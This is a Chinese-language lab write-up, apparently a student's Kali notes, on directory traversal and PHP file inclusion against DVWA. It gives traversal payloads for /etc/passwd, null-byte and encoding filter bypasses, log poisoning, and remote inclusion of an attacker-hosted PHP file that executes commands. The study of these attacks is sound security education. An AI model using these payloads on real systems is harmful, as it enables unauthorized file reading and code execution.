文章的格式也许不是很好看,也没有什么合理的顺序

完全是想到什么写一些什么,但各个方面都涵盖到了

能耐下心看的朋友欢迎一起学习,大牛和杠精们请绕道

目录遍历漏洞:

应用程序如果有操作文件的功能,限制不严格会导致可以访问到WEB目录意外的文件

目录遍历漏洞和文件包含漏洞本质以及利用方法一样

一定要论区别的话:

目录遍历:对本操作系统的文件进行读取

文件包含:1:LFI本地文件包含,和目录遍历一致;2:RFI远程文件包含

漏洞原因:目录权限限制不严格

漏洞利用示例:

启动Metasploitable靶机:192.168.163.129

启动Kali机器:192.168.163.132

在DVWA的这个目录存在文件包含漏洞:本地文件包含

我们可以在Metasploitable中修改配置文件以开启远程文件包含漏洞:

sudo vi /etc/php5/cgi/php.ini

然后输入/allow_url进行搜索:找到这里,修改成On

然后重启Apache服务:

sudo /etc/init.d/apache2 restart

这时候Metasploitable就会存在远程文件包含漏洞了

目录遍历漏洞的特征要注意:

?page=xxx.php

?home=xxx.html

?index=xxx.jsp

?file=content

常用漏洞验证方式:

1:../../../../../../(多少个../都行,越多越好)/etc/passwd

URL上这一串东西的意义:../返回上级目录,当返回到根目录时候再../还是根目录,然后直接进入linux系统的passwd文件

2.file:///etc/passwd(这里是文件包含漏洞,不过利用方法一致)

3.http://xxxxx

前两者用途:可以读取到目标系统的机密文件

远程文件包含用途:可以构建一个带有shellcode的网站,使目标访问,进而得到shell(虽然是低权限shell)

注意事项:

1.有时候?page=../../../etc/passwd,显示找不到passwd.php文件,这是目标系统开启了过滤机制

绕过办法:PHP5.3版本以前的,可以用一个空字符%00来解决,示例:

?page=../../../etc/passwd%00

这时候就算目标机器补上一个.php,也无所谓

2.有的服务器会过滤非法字符,比如/\$&.*等,我们可以采用一些编码来处理

路径方面,linux一定是/,windows通常是\,但有可能是/,实际中可以多次发送根据结果来得到答案

编码方面:示例

URL编码:

../     %2e%2e%2f

..\     %2e%2e%5c

..\     %252e%252e%255c (双层URL编码)

Unicode/UTF-8编码:

../     ..%c0%af     ..%u2216

..\     ..%c1%9c

编码工具:之前介绍的很多工具都有,我用Burp来举例

可以用URL编码后的字符做尝试:成功

上边说到本地文件包含来查看文件内容

通常认为本地文件包含漏洞无法执行代码

万事没有绝对,有极其特殊的方式可以执行代码

比如:利用访问日志

当我们访问一个WebServer例如Apache时候,就会有访问日志

会记录下来访问IP和访问的URL等一些简单的信息

我们用nc连接到目标的80端口:发送一段这样的东西

然后会在apache的日志中插入一段php代码:然后对日志文件chmod,改为可执行权限

如果失败了的话,多层chmod,使访问目录的所有层都赋予权限,然后利用文件包含,有机会执行代码(不一定成功)

远程文件包含示例:

我先用NC侦听本地80端口:

远程文件包含到Kali机器:这是输入Kali的IP,至于URL随便写

然后一直显示连接状态

查看NC,发现收到了连接请求:

nc只是获得了连接请求,实际没用

下面展示实际使用方式

利用Kali本机的Apache服务

到/var/www/html目录下,新建文本 1.txt,写入上边的php代码(或者搞个木马脚本都行,这里为了方便)

保存之后开启Apache服务

然后测试:

成功执行了ls命令

到这一步就相当于拿到了shell

最后:

我们可以查看DVWA这里的远程文件包含的源码:

LOW级别:直接获取文件名

 <?php

    $file = $_GET['page']; //The page we wish to display 

?> 

MEDIUM级别:过滤特殊字符,导致无法远程文件包含

解决方法:编码

比如http://192.168.163.132======>%68%74%74%70%3a%2f%2f192.168.163.132

如果失败,就可以只针对http://中的某个字符,比如/进行编码

如果还是失败,可以进行一种巧妙的方法

非常经典的关键字绕过方法:

hthttp://tp://192.168.163.132

我在一个http://中插入了一个http://,服务器只会识别一次,如果两个分开写都会被过滤,穿插来写,只会过滤一个

 <?php

    $file = $_GET['page']; // The page we wish to display 

    // Bad input validation
$file = str_replace("http://", "", $file);
$file = str_replace("https://", "", $file); ?>

HIGH级别:规定写死,只能包含include.php

这种方式基本无解了,没有漏洞,或者我水平低下找不到漏洞

 <?php

    $file = $_GET['page']; //The page we wish to display 

    // Only allow include.php
if ( $file != "include.php" ) {
echo "ERROR: File not found!";
exit;
} ?>

总结:

远程文件包含漏洞出现概率远远小于本地文件包含漏洞

但是远程文件包含漏洞更容易被利用

大学生,生活不易,如果有大佬愿意赞赏,在此多谢

Kali学习笔记31:目录遍历漏洞、文件包含漏洞的更多相关文章

  1. 风炫安全web安全学习第三十三节课 文件包含漏洞基础以及利用伪协议进行攻击

    风炫安全web安全学习第三十三节课 文件包含漏洞基础以及利用伪协议进行攻击 文件包含漏洞 参考文章:https://chybeta.github.io/2017/10/08/php文件包含漏洞/ 分类 ...

  2. 小白日记37:kali渗透测试之Web渗透-手动漏洞挖掘(三)-目录遍历、文件包含

    手动漏洞挖掘 漏洞类型 #Directory traversal 目录遍历[本台机器操作系统上文件进行读取] 使用者可以通过浏览器/URL地址或者参数变量内容,可以读取web根目录[默认为:/var/ ...

  3. 2020/1/31 PHP代码审计之文件包含漏洞

    0x00 文件包含简介 文件包含漏洞的产生原因是在通过引入文件时,引用的文件名,用户可控,由于传入的文件名没有经过合理的校检,或者校验被绕过,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意 ...

  4. Kali学习笔记21:缓冲区溢出实验(漏洞发现)

    上一篇文章,我已经做好了缓冲区溢出实验的准备工作: https://www.cnblogs.com/xuyiqing/p/9835561.html 下面就是Kali虚拟机对缓冲区溢出的测试: 已经知道 ...

  5. web安全原理-文件包含漏洞

    前言 起来吃完早饭就开始刷攻防世界的题,一个简单的文件包含题我竟然都做不出来我服了  拿出买的书开始从头学习总结文件包含漏洞! 一.文件包含漏洞 文件包含漏洞 文件包含函数的参数没有经过过滤或者严格的 ...

  6. 文件包含漏洞(pikachu)

    文件包含漏洞 在web后台开发中,程序员往往为了提高效率以及让代码看起来更加简洁,会使用'包含'函数功能,比如把一系列功能函数都写进function.php中,之后当某个文件需要调用的时候,就直接在文 ...

  7. thinkphp学习笔记1—目录结构和命名规则

    原文:thinkphp学习笔记1-目录结构和命名规则 最近开始学习thinkphp,在下不才,很多的问题看不明白所以想拿出来,恕我大胆发在首页上,希望看到的人能为我答疑解惑,这样大家有个互动,学起来快 ...

  8. Kali学习笔记40:SQL手工注入(2)

    上一篇讲到可以通过注入得到数据库中所有的表信息 而SQL注入能不能做数据库之外的事情呢? 读取文件: ' union select null,load_file('/etc/passwd') -- 为 ...

  9. Java NIO 学习笔记(六)----异步文件通道 AsynchronousFileChannel

    目录: Java NIO 学习笔记(一)----概述,Channel/Buffer Java NIO 学习笔记(二)----聚集和分散,通道到通道 Java NIO 学习笔记(三)----Select ...

随机推荐

  1. windows -休眠

    查询服务器执行的睡眠状态 powercfg -a 开始休眠方法:手工键入如下命令: powercfg -hibernate on 命令执行之后立即就可以生效,无需要重新启动系统,再次执行“powerc ...

  2. 后台跨域(CORS)

    解决跨域问题 一.为什么会有跨域问题? 是因为浏览器的同源策略是对ajax请求进行阻拦了,但是不是所有的请求都给做跨域,像是一般的href属性,a标签什么的都不拦截. 二.解决跨域问题的两种方式 JS ...

  3. Chapter_4_JAVA作业

    一.类的封装,继承与多态 1.课前预习 1.1 举列现实生活中的封装,以及简述在程序中什么是属性的封装? 1.1.1 将东西捆绑在一起,如集成芯片:高压电线等等 1.1.2 封装就是将属性私有化,提供 ...

  4. linux中du与df的区别和联系

    1,两者区别 du,disk usage,是通过搜索文件来计算每个文件的大小然后累加,du能看到的文件只是一些当前存在 的,没有被删除的.他计算的大小就是当前他认为存在的所有文件大小的累加和. df, ...

  5. 安装mq的时候,计算机用户名是中文名的解决办法

    在windows下安装rabbitMq ,如果使用用户名是中文的,则会出现启动失败的情况.关于这一点下边给出终极解决方案. 1. 假如你的中文用户名是 XXXXXX,为用户目录建立软链接,软连接名称为 ...

  6. PAT A1010.Radix 二分法

    PAT A1010.Radix 链接: https://pintia.cn/problem-sets/994805342720868352/problems/994805507225665536 算法 ...

  7. appium sendkeys 输入数字丢失问题

    参考:https://blog.csdn.net/rainshine1190/article/details/82814503

  8. c#串口测试

    软件和代码网盘下载 https://pan.baidu.com/s/1dFrE1pv#list/path=%2F SerialPort 类 https://msdn.microsoft.com/zh- ...

  9. 【翻译】Flume 1.8.0 User Guide(用户指南)

    翻译自官网flume1.8用户指南,原文地址:Flume 1.8.0 User Guide 篇幅限制,分为以下5篇: [翻译]Flume 1.8.0 User Guide(用户指南) [翻译]Flum ...

  10. ubuntu 安装vue+element

    1.安装npm sudo apt install npm 检测安装npm -v 因为npm安装软件慢,可设置淘宝镜像 npm config set registry https://registry. ...